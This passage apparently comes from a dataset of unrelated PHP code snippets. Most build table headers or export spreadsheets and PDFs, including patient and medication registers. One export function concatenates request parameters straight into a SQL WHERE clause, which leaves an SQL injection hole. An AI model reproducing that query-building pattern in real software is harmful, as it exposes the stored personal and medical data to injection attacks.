class='rounded-q1'>Accepts</th>\n <th scope='col' class='rounded-q1'>Rejects</th>\n <th scope='col' class='rounded-q1'>Discards</th>\n <th scope='col' class='rounded-q1'>Stales</th>\n <th scope='col' class='rounded-q1'>Get Fails</th>\n <th scope='col' class='rounded-q1'>Rem fails</th>\n </tr>\n </thead>\";\n\n return $header;\n}", "abstract protected function excel ();", "public static function wdtAllowSheetNames()\n {\n return [\n 'Skilling South Australia',\n 'Regions',\n 'Retention',\n 'Recruitment',\n 'Migration',\n 'Skill demand',\n 'Skills shortages',\n 'Plans & projects',\n 'Actions & strategies',\n 'Industries',\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "protected function getTableHeader() {\n /** @var \\Drupal\\webform\\WebformInterface $webform */\n $webform = $this->getEntity();\n $header = [];\n $header['title'] = $this->t('Title');\n\n $header['key'] = [\n 'data' => $this->t('Key'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['type'] = [\n 'data' => $this->t('Type'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['correct_answer'] = $this->t('Answer');\n $header['weight'] = $this->t('Weight');\n $header['operations'] = $this->t('Operations');\n// $header['answer'] = [\n// 'data' => $this->t('Answer'),\n// 'class' => [RESPONSIVE_PRIORITY_LOW],\n// ];\n//\n// $header['required'] = [\n// 'data' => $this->t('Required'),\n// 'class' => ['webform-ui-element-required', RESPONSIVE_PRIORITY_LOW],\n// ];\n// $header['parent'] = $this->t('Parent');\n// $header['operations'] = [\n// 'data' => $this->t('Operations'),\n// 'class' => ['webform-ui-element-operations'],\n// ];\n return $header;\n }", "public function pi_list_header() {}", "public function createHeader($columns)\n {\n $html = \"<tr>\";\n\n \n foreach ($columns as $column) {\n $html .= \"<th>\".$column['label'].\"</th>\";\n }\n $html .= \"</tr>\";\n return $html; \n }", "function wv_commission_table_heading_list($type = \"thead\") {\n $output = \"\";\n\n //verify the header and footer of the table list\n $type = ($type == \"thead\") ? \"thead\" : \"tfoot\";\n\n $output .=\"<$type>\";\n $output .=\" <tr>\n <th>#OrderId</th>\n <th>Order Date</th>\n <th>ProductName</th>\n <th>Vendor</th>\n <th>Commission</th>\n <th>Status</th>\n <th>Commission Date</th>\n </tr>\";\n\n $output .=\"</$type>\";\n return $output;\n }", "public function getTableRowNames()\n \t{\n \t\treturn array('title', 'author', 'publishDate', 'client', 'workType', 'briefDescription', 'description', 'caseStudyID', 'isPrivate', 'commentsAllowed', 'screenshots', 'prevImageURL', 'finalURL');\n \t}", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "static public function JColumns () {\n $smpls = SampleAnnotation::all();\n $samples = $smpls->toArray();\n #$samples = DB::select('select a.biomaterial_id, a.biomaterial_name, a.person from sample_annotation a join sample_annotation_biomaterial b on a.biomaterial_id=b.biomaterial_id');\n\n #===generate the data in format for column names \n $jcolnames ='[';\n foreach($samples[0] as $key=>$value) {\n if($key=='biomaterial_id') {\n $biomaterial_id = $key;\n }\n elseif($key!='subject_id' and $key!='person_id' and $key!='type_sequencing' and $key!='type_seq' and $key!='run_name' and $key!='file_name'){\n if($key==\"diagnosis\") { \n $key=$key.\"(tree)\";\n }\n $jcolnames .= '{\"title\":\"'.$key.'\"},';\n }\n }\n $jcolnames .=']';\n return $jcolnames;\n }", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "function TituloCampos()\n\t{\n\t\t$this->Ln();\n\t\t$this->SetFillColor(244,249,255);\n\t\t$this->SetDrawColor(225,240,255);\n\t\t$this->SetLineWidth(.2);\n\t\t//dimenciones de cada campo\n\t\t$w=array(20,74,42,44);\n\t\t$header=array(strtoupper(_('numero')),strtoupper(_('nombre')),strtoupper(_('familia')),strtoupper(_('unidad medida')));\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->SetX(15);\n\t\tfor($k=0;$k<count($header);$k++)\n\t\t\t$this->Cell($w[$k],7,$header[$k],1,0,'J',1);\n\t\t$this->Ln();\n\t\treturn $w;\n\t}", "public function buildHeader() {\n return [\n ['data' => t('Teaching format'), 'class' => ['align-middle']],\n ['data' => t('Event'), 'class' => ['align-middle']],\n ['data' => t('Tutor'), 'class' => ['align-middle']],\n ['data' => t('Location'), 'class' => ['align-middle']],\n ['data' => t('Room'), 'class' => ['align-middle']],\n [\n 'data' => t('Date/time'),\n 'field' => 'time.field_event_time_value',\n 'sort' => 'desc',\n 'class' => ['align-middle'],\n ],\n ['data' => t('Registration status'), 'class' => ['align-middle']],\n ];\n }", "public static function excelRegionsHeadings()\n {\n return [\n 'Region',\n ];\n }", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "function titulopersonal(){\n print (\"\\n<tr>\");\n if($this->titulo !=\"\")\n foreach ($this->titulo as $titulo){\n print (\"\\n<th>$titulo</th>\");\n }\n print (\"\\n<tr>\"); \n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function generateExcelFile($yp_id) {\n $this->load->library('excel');\n $this->activeSheetIndex = $this->excel->setActiveSheetIndex(0);\n\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Pocket Money');\n $exceldataHeader = \"\";\n $exceldataValue = \"\";\n $headerCount = 1;\n if (!empty($yp_id)) {\n $medication_name = $this->input->get('professional_name');\n $search_date = $this->input->get('search_date');\n $search_time = $this->input->get('search_time');\n $search = $this->input->get('search');\n $sortfield = $this->input->get('sortfield');\n $sortby = $this->input->get('sortby');\n $data = [];\n //get YP information\n $table = YP_DETAILS . ' as yp';\n $match = array(\"yp.yp_id\" => $yp_id);\n $fields = array(\"yp.yp_fname,yp.yp_lname,yp.date_of_birth,sd.email,ch.care_home_name\");\n $join_tables = array(SOCIAL_WORKER_DETAILS . ' as sd' => 'sd.yp_id=yp.yp_id', CARE_HOME . ' as ch' => 'ch.care_home_id = yp.care_home');\n $data['YP_details'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', $match, '', '', '', '', '', '', '');\n $match = array('am_form_id' => 1);\n $formsdata = $this->common_model->get_records(AM_FORM, array(\"form_json_data\"), '', '', $match);\n if (!empty($formsdata)) {\n $formsdata_expr = json_decode($formsdata[0]['form_json_data'], TRUE);\n }\n\n $match = array('yp_id' => $yp_id);\n $medication_data = $this->common_model->get_records(MEDICATION, '', '', '', $match);\n $data['stock'] = '';\n if (!empty($medication_data)) {\n $data['stock'] = $medication_data[0]['stock'];\n }\n $where = \"mc.yp_id = \" . $yp_id;\n\n if ($search == 1) {\n if (!empty($medication_name)) {\n $where .= ' AND mc.select_medication = ' . $medication_name;\n }\n if (!empty($search_date)) {\n $search_date = dateformat($search_date);\n $where .= ' AND mc.date_given = \"' . $search_date . '\"';\n }\n if (!empty($search_time)) {\n $search_time = dbtimeformat($search_time);\n $where .= ' AND mc.time_given = \"' . $search_time . '\"';\n }\n \n }\n\n $login_user_id = $this->session->userdata['LOGGED_IN']['ID'];\n $table = ADMINISTER_MEDICATION . ' as mc';\n $fields = array(\"mc.*, md.stock,mc.date_given as date_given,time_given as time_given\");\n $join_tables = array(MEDICATION . ' as md' => 'md.medication_id=mc.select_medication');\n $data['information'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', '', '', '', '', $sortfield, $sortby, '', $where);\n\n $data['crnt_view'] = $this->viewname;\n $data['ypid'] = $yp_id;\n $form_field = array();\n $exceldataHeader = array();\n if (!empty($formsdata_expr)) {\n foreach ($formsdata_expr as $row) {\n $exceldataHeader[] .=html_entity_decode($row['label']);\n }\n $exceldataHeader[] .= 'Quantity Remaining';\n }\n\n if (!empty($formsdata)) {\n $sheet = $this->excel->getActiveSheet();\n $this->excel->setActiveSheetIndex(0)->setTitle('ADMINISTRATION HISTORY LOG');\n $sheet->getStyle('A1:Z1')->getFont()->setBold(true);\n $sheet->getColumnDimension('A')->setWidth(35);\n $sheet->getColumnDimension('B')->setWidth(12);\n $sheet->getColumnDimension('C')->setWidth(10);\n $sheet->getColumnDimension('D')->setWidth(15);\n $sheet->getColumnDimension('E')->setWidth(8);\n $sheet->getColumnDimension('F')->setWidth(25);\n $sheet->getColumnDimension('G')->setWidth(15);\n $sheet->getColumnDimension('H')->setWidth(20);\n $sheet->getColumnDimension('I')->setWidth(20);\n $sheet->getColumnDimension('J')->setWidth(15);\n $sheet->getColumnDimension('K')->setWidth(15);\n $sheet->fromArray($exceldataHeader, Null, 'A1')->getStyle('A1')->getFont()->setBold(true); // Set Header Data\n\n if (!empty($data['information'])) {\n $col = 2;\n foreach ($data['information'] as $data) {\n if (!empty($formsdata_expr)) {\n $exceldataValue = array();\n foreach ($formsdata_expr as $row) {\n if ($row['type'] == 'date') {\n if ((!empty($data[$row['name']]) && $data[$row['name']] != '0000-00-00')) {\n $exceldataValue[] .= configDateTime($data[$row['name']]);\n }\n } else if($row['type'] == 'text' && $row['subtype'] == 'time'){\n $exceldataValue[] .= timeformat($data[$row['name']]); \n } else if ($row['type'] == 'select') {\n if (!empty($data[$row['name']])) {\n if (!empty($row['description']) && $row['description'] == 'get_user') {\n\n $get_data = $this->common_model->get_single_user($data[$row['name']]);\n $exceldataValue[] .=!empty($get_data[0]['username']) ? $get_data[0]['username'] : '';\n } else if (!empty($row['description']) && $row['description'] == 'get_medication') {\n\n $get_medication_data = $this->common_model->get_single_medication($data[$row['name']]);\n $exceldataValue[] .= !empty($get_medication_data[0]['medication_name']) ? $get_medication_data[0]['medication_name'] : '';\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n }\n $exceldataValue[] .= !empty($data['available_stock']) ? $data['available_stock'] : '';\n }\n $sheet->fromArray($exceldataValue, Null, 'A' . $col)->getStyle('A' . $col)->getFont()->setBold(false);\n $col ++;\n } // end recordData foreach\n }\n }\n }\n $fileName = 'ADMINISTRATION HISTORY LOG' . date('Y-m-d H:i:s') . '.xls'; // Generate file name\n $this->downloadExcelFile($this->excel, $fileName); // download function Xls file function call\n }", "function metadata()\n {\n $this->load->library('explain_table');\n\n $metadata = $this->explain_table->parse( 'employee' );\n\n foreach( $metadata as $k => $md )\n {\n if( !empty( $md['enum_values'] ) )\n {\n $metadata[ $k ]['enum_names'] = array_map( 'lang', $md['enum_values'] ); \n } \n }\n return $metadata; \n }", "function rallies_table_row_header($hdrs)\r\n{\r\n global $MYKEYWORDS;\r\n\r\n\t$OK = ($_SESSION['ACCESSLEVEL'] >= $GLOBALS['ACCESSLEVEL_READONLY']);\r\n\r\n\t$res = '';\r\n\t$hdrcols = explode(';',$hdrs);\r\n\tforeach ($hdrcols as $col)\r\n\t\t$res .= \"<th>\".$col.\"</th>\";\r\n\r\n return $res;\r\n}", "function heading( $data = '', $h = '1', $attributes = '' )\n\t{\n\t\treturn '<h' . $h . _stringify_attributes( $attributes ) . '>' . $data . '</h' . $h . '>';\n\t}", "public function tableHeaderRow($in){\n $out = '';\n $cols = array_keys($in);\n foreach($cols as $k){\n $out .= '<td>'.$k.'</td>';\n }\n return('<tr>'.$out.'</tr>');\n }", "public function getTableRowNames()\n \t{\n \t\treturn array('title', 'author', 'date', 'email', 'website', 'comment', 'relevantSection', 'relevantItemId', 'isApproved', 'isPrivate', 'isAdminComment');\n \t}", "abstract protected function getColumnsHeader(): array;", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "public function csvHeaderRow()\n {\n static $columns;\n\n if ($columns === null) {\n $columns = [ 'source' ];\n $languages = $this->languages();\n foreach ($languages as $lang) {\n $columns[] = $lang;\n }\n\n $columns[] = 'context';\n }\n\n return $columns;\n }", "public static function generate_excel($filename, $data, $headers_included = true) {\n Excel_Facade::create($filename, function($excel) use($filename, $data, $headers_included) {\n\n // Set the title\n $excel->setTitle($filename)\n ->setCreator('Club Manager')\n ->setCompany('Geekk')\n ->setDescription($filename);\n\n // Add the sheet and fill it with de participants\n $excel->sheet('Leden', function($sheet) use($data, $headers_included) {\n\n // Only set the first row bold, when we included headers\n if($headers_included) {\n $sheet->cells('A1:' . self::get_last_column(count($data[0])) . '1', function($cells) {\n // Set font weight to bold\n $cells->setFontWeight('bold');\n });\n }\n\n // Append the data to the sheet\n $sheet->rows($data);\n });\n\n })->download('xlsx');\n }", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "function constructTableHead() {\n\n $header = '<tr><th>Country</th>';\n if (isset($_GET['pop'])) {\n $header .= '<th>Total Population</th>';\n }\n if (isset($_GET['birth'])) {\n $header .= '<th>Birth Rate</th>';\n }\n if (isset($_GET['death'])) {\n $header .= '<th>Death Rate</th>';\n }\n\n $header .= '</tr>';\n return $header;\n }", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "public function run()\n {\n\t\t$objPHPExcel = PHPExcel_IOFactory::load('public/excel-imports/designations.xlsx');\n\t\t$sheet = $objPHPExcel->getSheet(0);\n\t\t$highestRow = $sheet->getHighestDataRow();\n\t\t$highestColumn = $sheet->getHighestDataColumn();\n\t\t$header = $sheet->rangeToArray('A1:' . $highestColumn . '1', null, true, false);\n\t\t$header = $header[0];\n\t\tforeach ($header as $key => $column) {\n\t\t\tif ($column == null) {\n\t\t\t\tunset($header[$key]);\n\t\t\t}\n\t\t}\n\n\t\t$designation = $sheet->rangeToArray('A2:' . $highestColumn . $highestRow, null, true, false);\n\t\tif (!empty($designation)) {\n\t\t\tforeach ($designation as $key => $designationValue) {\n\t\t\t\t$val = [];\n\t\t\t\tforeach ($header as $headerKey => $column) {\n\t\t\t\t\tif (!$column) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$header_col = str_replace(' ', '_', strtolower($column));\n\t\t\t\t\t\t$val[$header_col] = $designationValue[$headerKey];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$val = (object) $val;\n\t\t\t\ttry {\n\t\t\t\t\tif (empty($val->company)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}if (empty($val->name)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (empty($val->grade)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$validator = Validator::make((array) $val, [\n\t\t\t\t\t\t'name' => [\n\t\t\t\t\t\t\t'string',\n\t\t\t\t\t\t\t'max:255',\n\t\t\t\t\t\t],\n\t\t\t\t\t]);\n\t\t\t\t\tif ($validator->fails()) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' ' . implode('', $validator->errors()->all()));\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$company = Company::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('id', $val->company)\n\t\t\t\t\t\t->first();\n\t\t\t\t\tif (!$company) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company not found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$grade = Entity::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('name', 